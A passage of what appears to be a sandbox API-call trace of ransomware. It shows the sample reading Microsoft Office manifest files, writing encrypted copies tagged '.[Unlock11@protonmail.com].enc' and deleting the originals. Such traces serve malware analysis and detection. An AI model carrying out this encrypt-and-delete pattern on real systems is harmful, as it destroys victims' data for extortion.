[0134.280] GetLastError () returned 0x0 [0134.280] GetLastError () returned 0x0 [0134.281] GetLastError () returned 0x0 [0134.281] GetLastError () returned 0x0 [0134.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.281] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41)) returned 1 [0134.281] GetLastError () returned 0x0 [0134.281] GetCurrentThreadId () returned 0x9b0 [0134.281] GetLastError () returned 0x0 [0134.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0134.281] GetCurrentThreadId () returned 0x9b0 [0134.282] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b55c | out: pbBuffer=0x366b55c) returned 1 [0134.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0134.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0134.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0134.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0134.282] GetCurrentThreadId () returned 0x9b0 [0134.282] GetLastError () returned 0x0 [0134.282] GetLastError () returned 0x0 [0134.282] GetLastError () returned 0x0 [0134.282] GetLastError () returned 0x0 [0134.282] GetCurrentThreadId () returned 0x9b0 [0134.283] GetLastError () returned 0x0 [0134.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab70 | out: hHeap=0x2ad0000) returned 1 [0134.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0134.283] GetLastError () returned 0x0 [0134.283] GetLastError () returned 0x0 [0134.283] GetLastError () returned 0x0 [0134.283] GetLastError () returned 0x0 [0134.283] GetCurrentThreadId () returned 0x9b0 [0134.283] GetLastError () returned 0x0 [0134.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0134.283] GetCurrentThreadId () returned 0x9b0 [0134.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65e8 [0134.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a51d8 | out: hHeap=0x2ad0000) returned 1 [0134.284] GetLastError () returned 0x0 [0134.284] GetLastError () returned 0x0 [0134.284] GetLastError () returned 0x0 [0134.284] GetLastError () returned 0x0 [0134.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6608 [0134.284] GetLastError () returned 0x0 [0134.284] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.285] GetFileType (hFile=0x39c) returned 0x1 [0134.285] GetLastError () returned 0x0 [0134.285] GetCurrentThreadId () returned 0x9b0 [0134.285] GetLastError () returned 0x0 [0134.285] GetFileType (hFile=0x39c) returned 0x1 [0134.285] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.285] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.285] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.285] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.286] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.286] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.286] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.286] GetLastError () returned 0x0 [0134.286] GetCurrentThreadId () returned 0x9b0 [0134.286] GetLastError () returned 0x0 [0134.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6608 | out: hHeap=0x2ad0000) returned 1 [0134.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.286] GetLastError () returned 0x0 [0134.287] GetLastError () returned 0x0 [0134.287] GetLastError () returned 0x0 [0134.287] GetLastError () returned 0x0 [0134.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6608 [0134.287] GetLastError () returned 0x0 [0134.287] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.288] GetFileType (hFile=0x3ac) returned 0x1 [0134.288] GetLastError () returned 0x0 [0134.288] GetCurrentThreadId () returned 0x9b0 [0134.288] GetLastError () returned 0x0 [0134.288] GetFileType (hFile=0x3ac) returned 0x1 [0134.288] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.289] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.289] GetLastError () returned 0x0 [0134.289] GetCurrentThreadId () returned 0x9b0 [0134.289] GetLastError () returned 0x0 [0134.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6608 | out: hHeap=0x2ad0000) returned 1 [0134.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf7d8 | out: hHeap=0x2ad0000) returned 1 [0134.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0134.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.289] GetLastError () returned 0x0 [0134.289] GetLastError () returned 0x0 [0134.289] GetCurrentThreadId () returned 0x9b0 [0134.289] GetLastError () returned 0x0 [0134.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.290] GetLastError () returned 0x0 [0134.290] GetLastError () returned 0x0 [0134.290] GetCurrentThreadId () returned 0x9b0 [0134.290] GetLastError () returned 0x0 [0134.290] GetLastError () returned 0x0 [0134.291] GetLastError () returned 0x0 [0134.291] GetCurrentThreadId () returned 0x9b0 [0134.291] GetLastError () returned 0x0 [0134.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3a68) returned 0x381b008 [0134.292] GetCurrentThreadId () returned 0x9b0 [0134.292] GetLastError () returned 0x0 [0134.292] GetLastError () returned 0x0 [0134.292] GetLastError () returned 0x0 [0134.292] GetLastError () returned 0x0 [0134.292] GetCurrentThreadId () returned 0x9b0 [0134.292] GetLastError () returned 0x0 [0134.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0134.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0134.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0134.293] GetLastError () returned 0x0 [0134.294] GetLastError () returned 0x0 [0134.294] GetCurrentThreadId () returned 0x9b0 [0134.294] GetLastError () returned 0x0 [0134.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fbfb8 | out: hHeap=0x2ad0000) returned 1 [0134.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fbfb8 [0134.294] GetLastError () returned 0x0 [0134.294] GetLastError () returned 0x0 [0134.294] GetCurrentThreadId () returned 0x9b0 [0134.294] GetLastError () returned 0x0 [0134.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fbfb8 | out: hHeap=0x2ad0000) returned 1 [0134.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.295] GetLastError () returned 0x0 [0134.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.295] CloseHandle (hObject=0x3ac) returned 1 [0134.295] GetLastError () returned 0x0 [0134.295] GetCurrentThreadId () returned 0x9b0 [0134.295] GetLastError () returned 0x0 [0134.295] GetLastError () returned 0x0 [0134.296] CloseHandle (hObject=0x39c) returned 1 [0134.296] GetLastError () returned 0x0 [0134.296] GetCurrentThreadId () returned 0x9b0 [0134.296] GetLastError () returned 0x0 [0134.296] GetLastError () returned 0x0 [0134.296] GetLastError () returned 0x0 [0134.296] GetLastError () returned 0x0 [0134.296] GetLastError () returned 0x0 [0134.296] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0134.297] GetLastError () returned 0x0 [0134.298] GetCurrentThreadId () returned 0x9b0 [0134.298] GetLastError () returned 0x0 [0134.298] GetCurrentThreadId () returned 0x9b0 [0134.298] GetLastError () returned 0x0 [0134.298] GetLastError () returned 0x0 [0134.298] GetLastError () returned 0x0 [0134.298] GetLastError () returned 0x0 [0134.298] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.299] GetCurrentThreadId () returned 0x9b0 [0134.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0134.299] GetLastError () returned 0x0 [0134.299] GetLastError () returned 0x0 [0134.299] GetLastError () returned 0x0 [0134.299] GetLastError () returned 0x0 [0134.299] GetCurrentThreadId () returned 0x9b0 [0134.299] GetLastError () returned 0x0 [0134.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0134.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0134.300] GetLastError () returned 0x0 [0134.300] GetLastError () returned 0x0 [0134.300] GetLastError () returned 0x0 [0134.300] GetLastError () returned 0x0 [0134.300] GetCurrentThreadId () returned 0x9b0 [0134.300] GetLastError () returned 0x0 [0134.300] GetCurrentThreadId () returned 0x9b0 [0134.300] GetLastError () returned 0x0 [0134.300] GetLastError () returned 0x0 [0134.300] GetLastError () returned 0x0 [0134.300] GetLastError () returned 0x0 [0134.301] GetCurrentThreadId () returned 0x9b0 [0134.301] GetLastError () returned 0x0 [0134.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0134.301] GetLastError () returned 0x0 [0134.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0134.301] GetLastError () returned 0x0 [0134.301] GetLastError () returned 0x0 [0134.301] GetLastError () returned 0x0 [0134.301] GetCurrentThreadId () returned 0x9b0 [0134.301] GetLastError () returned 0x0 [0134.302] GetLastError () returned 0x0 [0134.302] GetLastError () returned 0x0 [0134.302] GetLastError () returned 0x0 [0134.302] GetLastError () returned 0x0 [0134.302] GetCurrentThreadId () returned 0x9b0 [0134.302] GetLastError () returned 0x0 [0134.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0134.302] GetLastError () returned 0x0 [0134.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.303] GetLastError () returned 0x0 [0134.303] GetLastError () returned 0x0 [0134.303] GetLastError () returned 0x0 [0134.303] GetCurrentThreadId () returned 0x9b0 [0134.303] GetLastError () returned 0x0 [0134.303] GetCurrentThreadId () returned 0x9b0 [0134.303] GetLastError () returned 0x0 [0134.303] GetLastError () returned 0x0 [0134.303] GetLastError () returned 0x0 [0134.303] GetLastError () returned 0x0 [0134.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0134.304] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5)) returned 1 [0134.304] GetLastError () returned 0x0 [0134.304] GetCurrentThreadId () returned 0x9b0 [0134.304] GetLastError () returned 0x0 [0134.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.304] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b4bc | out: pbBuffer=0x366b4bc) returned 1 [0134.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0134.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0134.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0134.304] GetCurrentThreadId () returned 0x9b0 [0134.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0134.305] GetLastError () returned 0x0 [0134.305] GetLastError () returned 0x0 [0134.305] GetLastError () returned 0x0 [0134.305] GetLastError () returned 0x0 [0134.305] GetCurrentThreadId () returned 0x9b0 [0134.305] GetLastError () returned 0x0 [0134.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0134.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.305] GetCurrentThreadId () returned 0x9b0 [0134.305] GetLastError () returned 0x0 [0134.306] GetLastError () returned 0x0 [0134.306] GetLastError () returned 0x0 [0134.306] GetLastError () returned 0x0 [0134.306] GetCurrentThreadId () returned 0x9b0 [0134.306] GetLastError () returned 0x0 [0134.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6588 [0134.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0134.306] GetLastError () returned 0x0 [0134.306] GetLastError () returned 0x0 [0134.306] GetLastError () returned 0x0 [0134.307] GetLastError () returned 0x0 [0134.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0134.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6608 [0134.307] GetLastError () returned 0x0 [0134.307] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.307] GetFileType (hFile=0x39c) returned 0x1 [0134.307] GetLastError () returned 0x0 [0134.307] GetCurrentThreadId () returned 0x9b0 [0134.307] GetLastError () returned 0x0 [0134.308] GetFileType (hFile=0x39c) returned 0x1 [0134.308] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.308] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.308] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.308] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.308] GetLastError () returned 0x0 [0134.308] GetCurrentThreadId () returned 0x9b0 [0134.308] GetLastError () returned 0x0 [0134.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6608 | out: hHeap=0x2ad0000) returned 1 [0134.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.309] GetLastError () returned 0x0 [0134.309] GetLastError () returned 0x0 [0134.309] GetLastError () returned 0x0 [0134.309] GetLastError () returned 0x0 [0134.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6608 [0134.309] GetLastError () returned 0x0 [0134.309] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.310] GetFileType (hFile=0x3ac) returned 0x1 [0134.310] GetLastError () returned 0x0 [0134.310] GetCurrentThreadId () returned 0x9b0 [0134.310] GetLastError () returned 0x0 [0134.310] GetFileType (hFile=0x3ac) returned 0x1 [0134.310] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.310] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.310] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.311] GetLastError () returned 0x0 [0134.311] GetCurrentThreadId () returned 0x9b0 [0134.311] GetLastError () returned 0x0 [0134.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6608 | out: hHeap=0x2ad0000) returned 1 [0134.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cff28 | out: hHeap=0x2ad0000) returned 1 [0134.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0134.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.311] GetLastError () returned 0x0 [0134.311] GetLastError () returned 0x0 [0134.311] GetCurrentThreadId () returned 0x9b0 [0134.311] GetLastError () returned 0x0 [0134.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.312] GetLastError () returned 0x0 [0134.312] GetLastError () returned 0x0 [0134.312] GetCurrentThreadId () returned 0x9b0 [0134.312] GetLastError () returned 0x0 [0134.314] GetCurrentThreadId () returned 0x9b0 [0134.314] GetCurrentThreadId () returned 0x9b0 [0134.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.315] GetCurrentThreadId () returned 0x9b0 [0134.317] GetCurrentThreadId () returned 0x9b0 [0134.317] GetCurrentThreadId () returned 0x9b0 [0134.318] GetCurrentThreadId () returned 0x9b0 [0134.318] GetCurrentThreadId () returned 0x9b0 [0134.319] GetCurrentThreadId () returned 0x9b0 [0134.319] GetCurrentThreadId () returned 0x9b0 [0134.321] GetCurrentThreadId () returned 0x9b0 [0134.321] GetCurrentThreadId () returned 0x9b0 [0134.322] GetCurrentThreadId () returned 0x9b0 [0134.323] GetCurrentThreadId () returned 0x9b0 [0134.323] GetCurrentThreadId () returned 0x9b0 [0134.323] GetCurrentThreadId () returned 0x9b0 [0134.324] GetCurrentThreadId () returned 0x9b0 [0134.324] GetCurrentThreadId () returned 0x9b0 [0134.324] GetCurrentThreadId () returned 0x9b0 [0134.325] GetCurrentThreadId () returned 0x9b0 [0134.326] GetCurrentThreadId () returned 0x9b0 [0134.326] GetCurrentThreadId () returned 0x9b0 [0134.327] GetCurrentThreadId () returned 0x9b0 [0134.327] GetCurrentThreadId () returned 0x9b0 [0134.327] GetCurrentThreadId () returned 0x9b0 [0134.327] GetCurrentThreadId () returned 0x9b0 [0134.328] CloseHandle (hObject=0x3ac) returned 1 [0134.328] GetCurrentThreadId () returned 0x9b0 [0134.328] CloseHandle (hObject=0x39c) returned 1 [0134.328] GetCurrentThreadId () returned 0x9b0 [0134.328] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0134.332] GetCurrentThreadId () returned 0x9b0 [0134.332] GetCurrentThreadId () returned 0x9b0 [0134.332] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.332] GetCurrentThreadId () returned 0x9b0 [0134.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.333] GetCurrentThreadId () returned 0x9b0 [0134.333] GetCurrentThreadId () returned 0x9b0 [0134.333] GetCurrentThreadId () returned 0x9b0 [0134.333] GetCurrentThreadId () returned 0x9b0 [0134.333] GetCurrentThreadId () returned 0x9b0 [0134.333] GetCurrentThreadId () returned 0x9b0 [0134.334] GetCurrentThreadId () returned 0x9b0 [0134.334] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, 